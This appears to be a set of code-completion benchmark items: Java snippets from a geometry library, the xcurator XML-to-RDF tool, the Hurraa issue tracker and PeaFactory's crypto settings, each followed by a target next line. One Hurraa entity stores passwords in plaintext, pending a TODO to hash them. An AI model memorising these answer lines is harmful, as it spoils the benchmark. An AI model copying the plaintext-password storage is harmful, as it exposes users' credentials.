is null */ public StraightLine2D parallel(double d) { double d2 = Math.hypot(this.dx, this.dy); if (Math.abs(d2) < Shape2D.ACCURACY) throw new DegeneratedLine2DException( "Can not compute parallel of degenerated line", this); d2 = d / d2; return new StraightLine2D(x0 + dy * d2, y0 - dx * d2, dx, dy); } /** * Returns a new Straight line, parallel to another straight object (ray, * straight line or edge), and going through the given point. */ @Override public StraightLine2D perpendicular(Point2D point) { return new StraightLine2D(point, -dy, dx); } /* * (non-Javadoc) * * @see * math.geom2d.circulinear.CirculinearCurve2D#transform(math.geom2d.transform * .CircleInversion2D) */ @Override public CircleLine2D transform(CircleInversion2D inv) { // Extract inversion parameters Point2D center = inv.center(); double r = inv.radius(); // projection of inversion center on the line Point2D po = this.projectedPoint(center); double d = this.distance(center); // Degenerate case of a point belonging to the line: // the transform is the line itself. if (Math.abs(d) < Shape2D.ACCURACY) { return new StraightLine2D(this); } // angle from center to line double angle = Angle2D.horizontalAngle(center, po); // center of transformed circle double r2 = r * r / d / 2; Point2D c2 = Point2D.createPolar(center, r2, angle); // choose direction of circle arc boolean direct = this.isInside(center); // return the created circle
return new Circle2D(c2, r2, direct);
6
xcurator/xcurator
src/edu/toronto/cs/xcurator/discoverer/BasicEntityDiscovery.java
[ "public interface Mapping {\n\n /**\n * Check if this mapping is initialized.\n *\n * @return\n */\n boolean isInitialized();\n\n /**\n * Set this mapping as initialized, return success flag.\n *\n * @return true if successfully initialized, false if not successful.\n */\n boolean setInitialized();\n\n /**\n * Set the base namespace context of the XML document to be transformed\n * using this mapping. This namespace context can be overrided by individual\n * entities.\n *\n * @param nsContext\n */\n void setBaseNamespaceContext(NsContext nsContext);\n\n /**\n * Get the base namespace context of the XML document to be transformed\n * using this mapping.\n *\n * @return\n */\n NsContext getBaseNamespaceContext();\n\n void addEntity(Schema schema);\n\n Schema getEntity(String id);\n\n void removeEntity(String id);\n\n public Map<String, Schema> getEntities();\n\n Iterator<Schema> getEntityIterator();\n\n public void removeInvalidRelations();\n\n}", "public class Attribute implements MappingModel {\n\n Schema schema;\n\n SearchPath paths;\n\n String rdfUri;\n\n String xmlTypeUri;\n\n private Set<String> instances;\n\n boolean isKey;\n\n public Attribute(Schema schema, String rdfUri, String xmlTypeUri) {\n this.schema = schema;\n this.rdfUri = rdfUri;\n this.xmlTypeUri = xmlTypeUri;\n this.paths = new SearchPath();\n this.instances = new HashSet<>();\n this.isKey = false;\n }\n\n @Override\n public String getId() {\n return schema.xmlTypeUri + \".\" + xmlTypeUri;\n }\n\n @Override\n public void addPath(String path) {\n paths.addPath(path);\n }\n\n @Override\n public String getPath() {\n return paths.getPath();\n }\n\n public boolean isKey() {\n return this.isKey;\n }\n\n public void asKey() {\n isKey = true;\n }\n\n public void addInstance(String value) {\n value = value.trim();\n value = value.replaceAll(\"[\\\\t\\\\n\\\\r]+\", \" \");\n this.instances.add(value);\n }\n\n public void addInstances(Set<String> others) {\n for (String val : others) {\n addInstance(val);\n }\n }\n\n public Set<String> getInstances() {\n return instances;\n }\n\n public String getRdfUri() {\n return rdfUri;\n }\n\n public void resetRdfUri(String rdfUri) {\n this.rdfUri = rdfUri;\n }\n\n public Schema getSchema() {\n return this.schema;\n }\n\n @Override\n public String toString() {\n StringBuilder instanceSb = new StringBuilder();\n instanceSb.append(\"[\");\n if (!instances.isEmpty()) {\n for (String str : instances) {\n// str = str.replace(\"\\\"\", \"\\\\\\\"\");\n str = StringEscapeUtils.escapeJava(str);\n if (str.length() > 30) {\n str = str.substring(0, 30) + \"...\";\n }\n instanceSb.append(\"\\\"\").append(str).append(\"\\\"\").append(\", \");\n }\n instanceSb.deleteCharAt(instanceSb.length() - 1);\n instanceSb.deleteCharAt(instanceSb.length() - 1);\n }\n instanceSb.append(\"]\");\n return \"{\"\n + \"\\\"Attribute\\\": {\"\n + \"\\\"rdfUri\\\":\" + \"\\\"\" + rdfUri + \"\\\"\"\n + \", \\\"xmlTypeUri\\\":\" + \"\\\"\" + xmlTypeUri + \"\\\"\"\n + \", \\\"instances\\\":\" + instanceSb\n + '}'\n + '}';\n }\n}", "public class Schema implements MappingModel {\n\n NsContext namespaceContext;\n\n // The XML type URI of this entity\n String xmlTypeUri;\n\n Map<String, Relation> relations;\n\n Map<String, Attribute> attributes;\n\n SearchPath paths;\n\n String rdfTypeUri;\n\n // The xml instances of this entity\n Set<Element> instances;\n\n // The name of the entity, used to construct relation\n String name;\n\n public Schema(String rdfTypeUri, String xmlTypeUri, NsContext nsContext,\n String name) {\n this(rdfTypeUri, xmlTypeUri, nsContext);\n this.name = name;\n }\n\n public Schema(String rdfTypeUri, String xmlTypeUri, NsContext nsContext) {\n this.rdfTypeUri = rdfTypeUri;\n this.paths = new SearchPath();\n this.instances = new HashSet<>();\n this.namespaceContext = nsContext;\n relations = new HashMap<>();\n attributes = new HashMap<>();\n this.xmlTypeUri = xmlTypeUri;\n }\n\n @Override\n /**\n * The entity uses the XML type URI as its ID\n */\n public String getId() {\n return xmlTypeUri;\n }\n\n @Override\n public String getPath() {\n return paths.getPath();\n }\n\n @Override\n public void addPath(String path) {\n paths.addPath(path);\n }\n\n public String getName() {\n return name;\n }\n\n public void addInstance(Element element) {\n this.instances.add(element);\n }\n\n public void addAttribute(Attribute attr) {\n Attribute existAttr = attributes.get(attr.getId());\n if (existAttr != null) {\n existAttr.addPath(attr.getPath());\n existAttr.addInstances(attr.getInstances());\n return;\n }\n attributes.put(attr.getId(), attr);\n }\n\n public void addRelation(Relation rl) {\n Relation existRel = relations.get(rl.getId());\n if (existRel != null) {\n existRel.addPath(rl.getPath());\n return;\n }\n relations.put(rl.getId(), rl);\n }\n\n public void mergeNamespaceContext(NsContext nsContext, boolean override) {\n this.namespaceContext.merge(nsContext, override);\n }\n\n public boolean hasAttribute(String id) {\n return attributes.containsKey(id);\n }\n\n public boolean hasRelation(String id) {\n return relations.containsKey(id);\n }\n\n public Attribute getAttribute(String id) {\n return attributes.get(id);\n }\n\n public int getAttributesCount() {\n return attributes.size();\n }\n\n public int getRelationsCount() {\n return relations.size();\n }\n\n public Relation getRelation(String id) {\n return relations.get(id);\n }\n\n public void removeRelation(String id) {\n relations.remove(id);\n }\n\n public Iterator<Attribute> getAttributeIterator() {\n return attributes.values().iterator();\n }\n\n public Iterator<Relation> getRelationIterator() {\n return relations.values().iterator();\n }\n\n public NsContext getNamespaceContext() {\n return namespaceContext;\n }\n\n public Iterator<Element> getXmlInstanceIterator() {\n return instances.iterator();\n }\n\n public int getXmlInstanceCount() {\n return instances.size();\n }\n\n // Return the XML type from which this entity was extracted\n public String getXmlTypeUri() {\n return xmlTypeUri;\n }\n\n public String getRdfTypeUri() {\n return rdfTypeUri;\n }\n\n public void resetRdfTypeUri(String typeUri) {\n rdfTypeUri = typeUri;\n }\n\n @Override\n public String toString() {\n StringBuilder sbForInstances = new StringBuilder();\n sbForInstances.append(\"[\");\n if (!instances.isEmpty()) {\n for (Element elem : instances) {\n sbForInstances.append(elem.getNodeValue()).append(\", \");\n }\n sbForInstances.deleteCharAt(sbForInstances.length() - 1);\n sbForInstances.deleteCharAt(sbForInstances.length() - 1);\n }\n sbForInstances.append(\"]\");\n return \"{\"\n + \"\\\"Schema\\\": {\"\n + \"\\\"namespaceContext\\\":\" + \"\\\"\" + namespaceContext + \"\\\"\"\n + \", \\\"xmlTypeUri\\\":\" + \"\\\"\" + xmlTypeUri + \"\\\"\"\n + \", \\\"relations\\\":\" + IOUtils.printMapAsJson(relations)\n + \", \\\"attributes\\\":\" + IOUtils.printMapAsJson(attributes)\n + \", \\\"paths\\\":\" + \"\\\"\" + paths + \"\\\"\"\n + \", \\\"rdfTypeUri\\\":\" + \"\\\"\" + rdfTypeUri + \"\\\"\"\n// + \", \\\"instances\\\":\" + \"\\\"\" + sbForInstances + \"\\\"\"\n + \", \\\"name\\\":\" + \"\\\"\" + name + \"\\\"\"\n + \"}\"\n + \"}\";\n }\n\n}", "public class Relation implements MappingModel {\n\n Schema subject;\n\n Schema object;\n\n String rdfUri;\n\n String objectXmlTypeUri;\n\n Set<Reference> references;\n\n // The path to the \n SearchPath paths;\n\n public Relation(Schema subject, Schema object, String rdfUri) {\n this.subject = subject;\n this.object = object;\n this.rdfUri = rdfUri;\n this.references = new HashSet<>();\n this.paths = new SearchPath();\n }\n\n // This constructor is for deserializing the mapping file\n // since the object entity may not have deserialized yet.\n public Relation(Schema subject, Schema object, String rdfUri, String objectXmlTypeUri) {\n this(subject, null, rdfUri);\n this.objectXmlTypeUri = objectXmlTypeUri;\n }\n\n public void addReference(Reference reference) {\n references.add(reference);\n }\n\n public Iterator<Reference> getReferenceIterator() {\n return references.iterator();\n }\n\n public Set<Reference> getReferences() {\n return references;\n }\n\n public String getObjectXmlTypeUri() {\n return object == null ? objectXmlTypeUri : object.getXmlTypeUri();\n }\n\n @Override\n public String getId() {\n return subject.getXmlTypeUri() + \".\" + getObjectXmlTypeUri();\n }\n\n @Override\n public void addPath(String path) {\n paths.addPath(path);\n }\n\n @Override\n public String getPath() {\n return paths.getPath();\n }\n\n public String getRdfUri() {\n return rdfUri;\n }\n\n @Override\n public String toString() {\n return \"{\"\n + \"\\\"Relation\\\": {\"\n + \"\\\"rdfUri\\\":\" + \"\\\"\" + rdfUri + \"\\\"\"\n + \", \\\"objectXmlTypeUri\\\":\" + \"\\\"\" + objectXmlTypeUri + \"\\\"\"\n + '}'\n + '}';\n }\n\n}", "public class RdfUriBuilder {\n\n private final String typeUriBase;\n private final String propertyUriBase;\n\n private final String typePrefix;\n private final String propertyPrefix;\n\n public RdfUriBuilder(RdfUriConfig config) {\n this.typeUriBase = config.getTypeResourceUriBase();\n this.propertyUriBase = config.getPropertyResourceUriBase();\n this.typePrefix = config.getTypeResourcePrefix();\n this.propertyPrefix = config.getPropertyResourcePrefix();\n }\n\n private String getUri(Node node, String uriBase) {\n return uriBase + \"/\" + node.getLocalName();\n }\n\n public String getRdfTypeUri(Element element) {\n return getUri(element, typeUriBase);\n }\n\n public String getRdfPropertyUri(Node node) {\n return getUri(node, propertyUriBase);\n }\n\n public String getRdfPropertyUriForValue(Element element) {\n return propertyUriBase + \"/value\";\n }\n\n public String getRdfRelationUriFromElements(Element subject, Element object) {\n return getUri(object, propertyUriBase);\n }\n\n public String getRdfRelationUriFromEntities(Schema subject, Schema object) {\n return propertyUriBase + \"/\" + object.getName();\n }\n\n}", "public class ValueAttribute extends Attribute {\n\n public ValueAttribute(Schema entity, String rdfUri) {\n super(entity, rdfUri, \"value\");\n }\n\n @Override\n public void asKey() {\n try {\n throw new Exception(\"Value attribute cannot be used as key.\");\n } catch (Exception ex) {\n Logger.getLogger(ValueAttribute.class.getName()).log(Level.WARNING, null, ex);\n }\n }\n\n @Override\n public void addInstance(String value) {\n try {\n throw new Exception(\"Value attribute does not keep instances.\");\n } catch (Exception ex) {\n Logger.getLogger(ValueAttribute.class.getName()).log(Level.WARNING, null, ex);\n }\n }\n\n /**\n * The value attribute must not be the key\n *\n * @return\n */\n @Override\n public boolean isKey() {\n return false;\n }\n}" ]
import org.w3c.dom.Node; import org.w3c.dom.NodeList; import edu.toronto.cs.xcurator.common.DataDocument; import edu.toronto.cs.xcurator.mapping.Mapping; import edu.toronto.cs.xcurator.mapping.Attribute; import edu.toronto.cs.xcurator.mapping.Schema; import edu.toronto.cs.xcurator.mapping.Relation; import edu.toronto.cs.xcurator.common.NsContext; import edu.toronto.cs.xcurator.common.RdfUriBuilder; import edu.toronto.cs.xcurator.common.XmlParser; import edu.toronto.cs.xcurator.common.XmlUriBuilder; import edu.toronto.cs.xcurator.mapping.ValueAttribute; import java.util.List; import javax.xml.XMLConstants; import org.apache.log4j.Logger; import org.w3c.dom.Attr; import org.w3c.dom.Element;
/* * Copyright (c) 2013, University of Toronto. * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. You may obtain * a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. */ package edu.toronto.cs.xcurator.discoverer; public class BasicEntityDiscovery implements MappingDiscoveryStep { private final XmlParser parser; private final RdfUriBuilder rdfUriBuilder; private final XmlUriBuilder xmlUriBuilder; private boolean discoverRootLevelEntity; static final Logger logger = Logger.getLogger(BasicEntityDiscovery.class); public BasicEntityDiscovery(XmlParser parser, RdfUriBuilder rdfUriBuilder, XmlUriBuilder xmlUriBuilder) { this.parser = parser; this.rdfUriBuilder = rdfUriBuilder; this.xmlUriBuilder = xmlUriBuilder; this.discoverRootLevelEntity = false; } public BasicEntityDiscovery(XmlParser parser, RdfUriBuilder rdfUriBuilder, XmlUriBuilder xmlUriBuilder, boolean discoverRootLevelEntity) { this(parser, rdfUriBuilder, xmlUriBuilder); this.discoverRootLevelEntity = discoverRootLevelEntity; } @Override public void process(List<DataDocument> dataDocuments, Mapping mapping) { System.out.println("process BasicEntityDiscovery..."); logger.debug("datadoc#: " + dataDocuments.size()); for (DataDocument dataDoc : dataDocuments) { // logger.debug(""); // Create a root entity from the root element. Element root = dataDoc.Data.getDocumentElement(); NsContext rootNsContext = new NsContext(root); String rdfTypeUri = rdfUriBuilder.getRdfTypeUri(root); String xmlTypeUri = xmlUriBuilder.getXmlTypeUri(root); String path = getElementPath(root, "", "/", rootNsContext); Schema rootEntity = new Schema(rdfTypeUri, xmlTypeUri, rootNsContext); rootEntity.addPath(path); rootEntity.addInstance(root); // If for some specific type of XML document, the root element to child node // relation is significant, we should add the root level entity if (discoverRootLevelEntity) { mapping.addEntity(rootEntity); } // Merge the current document namespace context to the mapping's. // The document namespace cannot be overrided as a document cannot be // the child of another document. NsContext mappingNsContext = mapping.getBaseNamespaceContext(); mappingNsContext.merge(rootNsContext, false); mapping.setBaseNamespaceContext(mappingNsContext); // Discover entities in this document discoverEntitiesFromXmlElements(root, rootEntity, dataDoc, mapping); } // set the mapping as initialized when this step is completed. mapping.setInitialized(); } private void discoverEntitiesFromXmlElements(Element parent, Schema schema, DataDocument dataDoc, Mapping mapping) { NodeList children = parent.getChildNodes(); final int childscount = children.getLength(); logger.debug("childcount#: " + childscount); for (int i = 0; i < childscount; i++) { // final Node child2 = children.item(i); // logger.debug(">> " + child2.getLocalName()); if (children.item(i) instanceof Element) { Element child = (Element) children.item(i); final String tempcont = child.getTextContent().trim(); logger.debug(">> " + child.getNodeName() + " || " + tempcont.subSequence(0, Math.min(20, tempcont.length())) + " <<"); // If the child element has no attributes, then its an attribute of // its parent if (parser.isLeaf(child) && child.getAttributes().getLength() == 0) { logger.debug("Leaf!"); discoverAttributeFromLeafElement(child, schema); continue; } // We have found another entity, get its URI and check if we have seen it. String xmlTypeUri = xmlUriBuilder.getXmlTypeUri(child); // Create the RDF.type URI for this entity. String rdfTypeUri = rdfUriBuilder.getRdfTypeUri(child); logger.debug(xmlTypeUri + " " + rdfTypeUri); Schema childSchema = mapping.getEntity(xmlTypeUri); // Create a new namespace context by inheriting from the parent // and discovering overriding definitions. NsContext nsContext = new NsContext(schema.getNamespaceContext()); nsContext.discover(child); // Build the absolute path to this entity. String path = getElementPath(child, schema.getPath(), "/", nsContext); logger.debug("parentPath= " + schema.getPath()); logger.debug("NodeName=" + child.getNodeName()); logger.debug("path= " + path); if (childSchema == null) { // If we have seen not seen this entity, create new. childSchema = new Schema(rdfTypeUri, xmlTypeUri, nsContext, child.getLocalName()); childSchema.addPath(path); childSchema.addInstance(child); mapping.addEntity(childSchema); } else { // If we have seen this entity, simply merge the paths (if differ) childSchema.addPath(path); childSchema.addInstance(child); // We don't override namespace context here // We are assuming the input XML documents are following good practice // - using the same namespace prefixes definitions across documents // If the namespace prefixes are different, should consider generating // mapping for each one of them individually instead of together. // So overriding or not does not matter, as there should be no conflict childSchema.mergeNamespaceContext(nsContext, true); } // Create a relation about the parent and this entity // Use relative path for direct-descendent relation String relationPath = getElementPath(child, ".", "/", nsContext); String relationUri = rdfUriBuilder.getRdfRelationUriFromElements(parent, child); if (schema.hasRelation(relationUri)) { Relation relation = schema.getRelation(relationUri); relation.addPath(relationPath); } else { Relation relation = new Relation(schema, childSchema, relationUri); relation.addPath(relationPath); schema.addRelation(relation); } // During this step, only direct parent-child entity relations are // discovered. Relations based on reference keys should be discovered // in other steps // Discover the attributes of this entity from the XML attributes discoverAttributesFromXmlAttributes(child, childSchema); // Discover the value from the XML text node discoverValueFromTextContent(child, childSchema); // Recursively discover the related entities of this one discoverEntitiesFromXmlElements(child, childSchema, dataDoc, mapping); } } } private void discoverAttributeFromLeafElement(Element element, Schema schema) { // Transform a leaf element with no XML attributes // into an attribute of the schema String rdfUri = rdfUriBuilder.getRdfPropertyUri(element); String xmlUri = xmlUriBuilder.getXmlTypeUri(element); // The path is ./child_node/text(), with . being the parent node String path = getElementPath(element, ".", "/", schema.getNamespaceContext()) + "/text()"; addAttributeToSchema(schema, rdfUri, xmlUri, path, element.getTextContent()); } private void discoverAttributesFromXmlAttributes(Element element, Schema entity) { // Get attribtues from the XML attributes of the element List<Attr> xmlAttrs = parser.getAttributes(element); for (Attr xmlAttr : xmlAttrs) { String rdfUri = rdfUriBuilder.getRdfPropertyUri(xmlAttr); String xmlUri = xmlUriBuilder.getXmlTypeUri(xmlAttr); // Use relative path for attribute String path = getAttrPath(xmlAttr, "", "@"); addAttributeToSchema(entity, rdfUri, xmlUri, path, xmlAttr.getTextContent()); } } private void discoverValueFromTextContent(Element element, Schema entity) { if (!parser.isLeaf(element)) { return; } String textContent = element.getTextContent().trim(); if (!textContent.equals("")) { String rdfUri = rdfUriBuilder.getRdfPropertyUriForValue(element);
Attribute attr = new ValueAttribute(entity, rdfUri);
1
cejug/hurraa
src/main/java/org/cejug/hurraa/controller/UpdateOccurrenceController.java
[ "@Entity\npublic class Occurrence implements Serializable {\n\t\n\tprivate static final long serialVersionUID = -9182122904967670112L;\n\n\t@Id\n\t@GeneratedValue(strategy = GenerationType.IDENTITY)\n\tprivate Long id;\n\t\n\t@Temporal(TemporalType.TIMESTAMP)\n\tprivate Date dateOfOpening;\n\t\n\tprivate String serialId;\n\t\n\t@NotEmpty\n\t@Lob\n\tprivate String description;\n\n\t@ManyToOne\n\t@JoinColumn(name=\"occurrenceState_id\")\n\tprivate OccurrenceState occurrenceState;\n\t\n\t@ManyToOne\n\t@JoinColumn(name = \"problemType_id\" , nullable = false)\n\tprivate ProblemType problemType;\n\t\n\t@ManyToOne\n\t@JoinColumn(name = \"sector_id\" , nullable = false)\n\tprivate Sector sector;\n\t\n\t@ManyToOne\n\t@JoinColumn(name = \"user_id\" , nullable = false)\n\tprivate User user;\n\t\n\t@OneToMany(mappedBy = \"occurrence\" , fetch = FetchType.EAGER)\n\tprivate List<OccurrenceUpdate> updates;\n\t\n\tpublic Occurrence() { }\n\t\n\t@PrePersist\n\tpublic void runBeforeCreate(){\n\t\tdateOfOpening = new Date();\n\t}\n\t\n\tpublic Long getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Long id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic Date getDateOfOpening() {\n\t\treturn dateOfOpening;\n\t}\n\n\tpublic void setDateOfOpening(Date dateOfOpening) {\n\t\tthis.dateOfOpening = dateOfOpening;\n\t}\n\n\tpublic String getSerialId() {\n\t\treturn serialId;\n\t}\n\n\tpublic void setSerialId(String serialId) {\n\t\tthis.serialId = serialId;\n\t}\n\n\tpublic String getDescription() {\n\t\treturn description;\n\t}\n\n\tpublic void setDescription(String description) {\n\t\tthis.description = description;\n\t}\n\n\tpublic ProblemType getProblemType() {\n\t\treturn problemType;\n\t}\n\n\tpublic void setProblemType(ProblemType problemType) {\n\t\tthis.problemType = problemType;\n\t}\n\n\tpublic User getUser() {\n\t\treturn user;\n\t}\n\n\tpublic void setUser(User user) {\n\t\tthis.user = user;\n\t}\n\n\tpublic Sector getSector() {\n\t\treturn sector;\n\t}\n\n\tpublic void setSector(Sector sector) {\n\t\tthis.sector = sector;\n\t}\n\n\n\n\tpublic OccurrenceState getOccurrenceState() {\n\t\treturn occurrenceState;\n\t}\n\n\n\n\tpublic void setOccurrenceState(OccurrenceState occurrenceState) {\n\t\tthis.occurrenceState = occurrenceState;\n\t}\n\n\tpublic List<OccurrenceUpdate> getUpdates() {\n\t\treturn updates;\n\t}\n\n\tpublic void setUpdates(List<OccurrenceUpdate> updates) {\n\t\tthis.updates = updates;\n\t}\n\t\n}", "@Entity\npublic class User implements Serializable {\n\n private static final long serialVersionUID = 1L;\n\n @Id\n @GeneratedValue(strategy = GenerationType.IDENTITY)\n private Long id;\n\n @NotNull\n private String name;\n\n @NotNull\n private String email;\n\n //TODO: Now the passoword will be open. Later in the project we will hash it.\n @NotNull\n private String password;\n\n public Long getId() {\n return id;\n }\n\n public void setId(Long id) {\n this.id = id;\n }\n\n public String getName() {\n return name;\n }\n\n public void setName(String name) {\n this.name = name;\n }\n\n public String getEmail() {\n return email;\n }\n\n public void setEmail(String email) {\n this.email = email;\n }\n\n public String getPassword() {\n return password;\n }\n\n public void setPassword(String password) {\n this.password = password;\n }\n\n @Override\n public String toString() {\n return \"User [id=\" + id + \", name=\" + name + \", mail=\" + email + \"]\";\n }\n}", "@Stateless\npublic class OccurrenceBean extends AbstractBean<Occurrence> {\n\t\n\tpublic OccurrenceBean() {\n\t\tsuper(Occurrence.class);\n\t}\n\t\n\t@PersistenceContext\n\tprivate EntityManager entityManager;\n\t\n\t@Override\n\tpublic void insert(Occurrence entity) {\n\t\tsuper.insert(entity);\n\t}\n\t\n\tpublic void updateOccurrence(Occurrence occurrence , String updateNote, User user) throws NoChangeInOccurrenceException{\n\t\tOccurrence oldOccurrence = findById( occurrence.getId() );\n\t\tOccurrenceUpdate occurrenceUpdate = new OccurrenceUpdate( occurrence , updateNote);\n\t\toccurrenceUpdate.setUser(user);\n\t\toccurrenceUpdate = checkDiffInTheFields( occurrenceUpdate , oldOccurrence );\n\t\t\n\t\tif( occurrenceUpdate.occurrenceWasChanged() ){\n\t\t\tupdateNewValues( occurrence , oldOccurrence );\n\t\t\tentityManager.persist(occurrenceUpdate);\n\t\t}else{\n\t\t\tthrow new NoChangeInOccurrenceException();\n\t\t}\n\t}\n\t\n\tpublic OccurrenceUpdate checkDiffInTheFields(OccurrenceUpdate occurrenceUpdate, Occurrence oldOccurrence) {\n\t\tList<OccurrenceFieldUpdate> updatedFields = new ArrayList<>();\n\t\tOccurrence occurrence = occurrenceUpdate.getOccurrence();\n\t\tOccurrenceFieldUpdateBuilder builder = new OccurrenceFieldUpdateBuilder();\n\t\t\n\t\tOccurrenceFieldUpdate fieldUpdate;\n\t\tif(!oldOccurrence.getSector().equals(occurrence.getSector())){\n\t\t\tString newValue = entityManager.find( Sector.class , occurrence.getSector().getId() ).getName();\n\t\t\tfieldUpdate = builder.withFieldName(\"sector\").withNewValue( newValue )\n\t\t\t\t\t.withOldValue( oldOccurrence.getSector().getName() ).forOccurrenceUpdate(occurrenceUpdate).build();\n\t\t\tupdatedFields.add(fieldUpdate);\n\t\t}\n\t\tif(!oldOccurrence.getProblemType().equals(occurrence.getProblemType() )){\n\t\t\tString newValue = entityManager.find( ProblemType.class , occurrence.getProblemType().getId() ).getName();\n\t\t\tfieldUpdate = builder.withFieldName(\"problemType\").withNewValue( newValue )\n\t\t\t\t\t.withOldValue( oldOccurrence.getProblemType().getName() ).forOccurrenceUpdate(occurrenceUpdate).build();\n\t\t\tupdatedFields.add(fieldUpdate);\n\t\t}\n\t\tif(!oldOccurrence.getOccurrenceState().equals( occurrence.getOccurrenceState() )){\n\t\t\tString newValue = entityManager.find( OccurrenceState.class , occurrence.getOccurrenceState().getId() ).getName();\n\t\t\tfieldUpdate = builder.withFieldName(\"occurrenceState\").withNewValue( newValue )\n\t\t\t\t\t.withOldValue( oldOccurrence.getOccurrenceState().getName() ).forOccurrenceUpdate(occurrenceUpdate).build();\n\t\t\tupdatedFields.add(fieldUpdate);\n\t\t}\n\t\t\n\t\toccurrenceUpdate.setUpdatedFields(updatedFields);\n\t\treturn occurrenceUpdate;\n\t}\n\t\n\tprivate void updateNewValues(Occurrence occurrence , Occurrence oldOccurrence){\n\t\toldOccurrence.setSector( occurrence.getSector() );\n\t\toldOccurrence.setOccurrenceState( occurrence.getOccurrenceState() );\n\t\toldOccurrence.setProblemType( occurrence.getProblemType() );\n\t\tupdate( oldOccurrence );\n\t}\n\t\n\t@Override\n\tprotected EntityManager getEntityManager() {\n\t\treturn entityManager;\n\t}\n\n}", "@Stateless\npublic class OccurrenceStateBean extends AbstractBean<OccurrenceState>{\n\t\n\t@PersistenceContext\n\tprivate EntityManager entityManager;\n\t\n\tpublic OccurrenceStateBean() {\n\t\tsuper(OccurrenceState.class);\n\t}\n\t\n\t@Override\n\tprotected EntityManager getEntityManager() {\n\t\treturn entityManager;\n\t}\n\n}", "@Stateless\r\npublic class ProblemTypeBean extends AbstractBean<ProblemType> {\r\n\r\n\t@PersistenceContext\r\n\tprivate EntityManager entityManager;\r\n\t\r\n\tpublic ProblemTypeBean() {\r\n\t\tsuper(ProblemType.class);\r\n\t}\r\n\r\n\t@Override\r\n\tprotected EntityManager getEntityManager() {\t\t\r\n\t\treturn entityManager;\r\n\t}\r\n}\r", "@Stateless\npublic class SectorBean extends AbstractBean<Sector> {\n\n @PersistenceContext\n private EntityManager manager;\n\n public SectorBean() {\n super(Sector.class);\n }\n\n @Override\n protected EntityManager getEntityManager() {\n return this.manager;\n }\n}", "@Stateless\npublic class UserBean extends AbstractBean<User> {\n\n\t@PersistenceContext\n\tprivate EntityManager manager;\n\t\n\tpublic UserBean() {\n\t\tsuper(User.class);\n\t}\n\n\t@Override\n\tprotected EntityManager getEntityManager() {\n\t\treturn this.manager;\n\t}\n}", "public class NoChangeInOccurrenceException extends Exception {\n\n\tprivate static final long serialVersionUID = 7223524166847452173L;\n\n}" ]
import org.cejug.hurraa.model.bean.UserBean; import org.cejug.hurraa.model.bean.exception.NoChangeInOccurrenceException; import org.cejug.hurraa.producer.ValidationMessages; import br.com.caelum.vraptor.Controller; import br.com.caelum.vraptor.Get; import br.com.caelum.vraptor.Path; import br.com.caelum.vraptor.Post; import br.com.caelum.vraptor.Result; import br.com.caelum.vraptor.validator.Validator; import java.util.ResourceBundle; import javax.inject.Inject; import javax.validation.Valid; import org.cejug.hurraa.model.Occurrence; import org.cejug.hurraa.model.User; import org.cejug.hurraa.model.bean.OccurrenceBean; import org.cejug.hurraa.model.bean.OccurrenceStateBean; import org.cejug.hurraa.model.bean.ProblemTypeBean; import org.cejug.hurraa.model.bean.SectorBean;
/* * Hurraa is a web application conceived to manage resources * in companies that need manage IT resources. Create issues * and purchase IT materials. Copyright (C) 2014 CEJUG. * * Hurraa is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Hurraa is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Hurraa. If not, see http://www.gnu.org/licenses/gpl-3.0.html. * */ package org.cejug.hurraa.controller; @Path("update-occurrence") @Controller public class UpdateOccurrenceController { private Result result; private OccurrenceBean occurrenceBean; private ResourceBundle messageBundle; private ResourceBundle validationBundle; private ProblemTypeBean problemTypeBean; private OccurrenceStateBean occurrenceStateBean;
private SectorBean sectorBean;
5
Beloumi/PeaFactory
src/peafactory/peas/file_pea/FileTypePanel.java
[ "public class PeaSettings {\n\n\tprivate static JDialog keyboard = null;\n\tprivate static final JDialog pswGenerator = null;\n\t\n\tprivate static final boolean BOUND = true;\n\tprivate static final String EXTERNAL_FILE_PATH = null;\n\tprivate static final boolean EXTERN_FILE = true;\n\tprivate static final String JAR_FILE_NAME = \"default\";\n\tprivate static final String LABEL_TEXT = null;\n\t\n\tprivate static final byte[] PROGRAM_RANDOM_BYTES = {-128, 125, -121, 32, -104, 88, -90, -116, 122, -64, 58, 67, -4, -51, -93, -89, 70, -22, -61, -109, 114, 75, -49, -114, -42, -128, -71, 5, -48, -92, 0, -71};\n\tprivate static final byte[] FILE_IDENTIFIER = {108, -39, -123, 86, 41, -111, -124, 107};\n\t\n\tprivate static final BlockCipher CIPHER_ALGO = PeaFactory.getDefaultCipher();//new TwofishEngine();\n\tprivate static final Digest HASH_ALGO = PeaFactory.getDefaultHash();//new SkeinDigest(512, 512);\n\tprivate static final KeyDerivation KDF_SCHEME = PeaFactory.getDefaultKDF();//new CatenaKDF();\n\t\n\tprivate static final int ITERATIONS = CatenaKDF.getDragonflyLambda();//2\n\tprivate static final int MEMORY = CatenaKDF.getGarlicDragonfly();//18;\n\tprivate static final int PARALLELIZATION = 0;\n\t\n\tprivate static final String VERSION_STRING = \"\";\n\t\n\t\n\tpublic final static JDialog getKeyboard() { \n\t\treturn keyboard; \n\t}\n\tpublic final static JDialog getPswGenerator() { \n\t\treturn pswGenerator; \n\t}\t\n\tpublic final static Digest getHashAlgo() { \n\t\treturn HASH_ALGO; \n\t}\n\tpublic final static BlockCipher getCipherAlgo() { \n\t\treturn CIPHER_ALGO; \n\t}\n\tpublic final static KeyDerivation getKdfScheme() { \n\t\treturn KDF_SCHEME; \n\t}\n\tpublic final static int getIterations() { \n\t\treturn ITERATIONS; \n\t}\n\tpublic final static int getMemory() { \n\t\treturn MEMORY; \n\t}\n\tpublic final static int getParallelization() { \n\t\treturn PARALLELIZATION; \n\t}\n\tpublic final static String getVersionString() { \n\t\treturn VERSION_STRING; \n\t}\n\tpublic final static byte[] getProgramRandomBytes() { 